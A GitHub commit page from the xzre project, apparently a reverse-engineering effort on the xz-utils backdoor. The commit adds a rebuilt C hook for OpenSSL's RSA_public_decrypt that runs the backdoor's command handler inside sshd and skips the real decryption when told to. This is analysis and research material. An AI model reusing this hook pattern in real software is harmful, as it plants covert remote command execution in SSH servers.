Skip to content

Commit

Permalink
xzre_code: add hook_RSA_public_decrypt
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed Aug 4, 2024
1 parent b5839a2 commit 64f4b26
Show file tree
Hide file tree
Showing 3 changed files with 34 additions and 2 deletions.
9 changes: 8 additions & 1 deletion xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -3873,7 +3873,14 @@ extern BOOL count_pointers(
* @param cmd_flags flags controlling the log hook configuration
* @param ctx the global context
*/
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx);
extern BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx);

/**
* @brief hook for RSA_public_decrypt, which triggers @see run_backdoor_commands
*/
extern int hook_RSA_public_decrypt(
int flen, unsigned char *from,
unsigned char *to, RSA *rsa, int padding);

/**
* @brief calls `sshlogv` from openssh, similarly to `sshlog` in openssh
Expand Down
3 changes: 2 additions & 1 deletion xzre_code/CMakeLists.txt
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
add_library(xzre_code
backdoor_entry.c
c_memmove.c
c_memmove.c
c_strlen.c
c_strnlen.c
chacha_decrypt.c
Expand All @@ -12,6 +12,7 @@ add_library(xzre_code
find_call_instruction.c
find_lea_instruction.c
find_string_reference.c
hook_RSA_public_decrypt.c
is_endbr64_instruction.c
init_elf_entry_ctx.c
fake_lzma_alloc.c
Expand Down
24 changes: 24 additions & 0 deletions xzre_code/hook_RSA_public_decrypt.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

int hook_RSA_public_decrypt(
int flen, unsigned char *from,
unsigned char *to, RSA *rsa, int padding
){
pfn_RSA_public_decrypt_t RSA_public_decrypt;

if(!global_ctx) return 0;
if(!global_ctx->imported_funcs) return 0;
if(!(RSA_public_decrypt=global_ctx->imported_funcs->RSA_public_decrypt)) return 0;
if(!rsa){
return RSA_public_decrypt(flen, from, to, rsa, padding);
}
BOOL call_orig = TRUE;
int result = run_backdoor_commands(rsa, global_ctx, &call_orig);
if(call_orig){
return RSA_public_decrypt(flen, from, to, rsa, padding);
}
return result;
}

0 comments on commit 64f4b26

Please sign in to comment.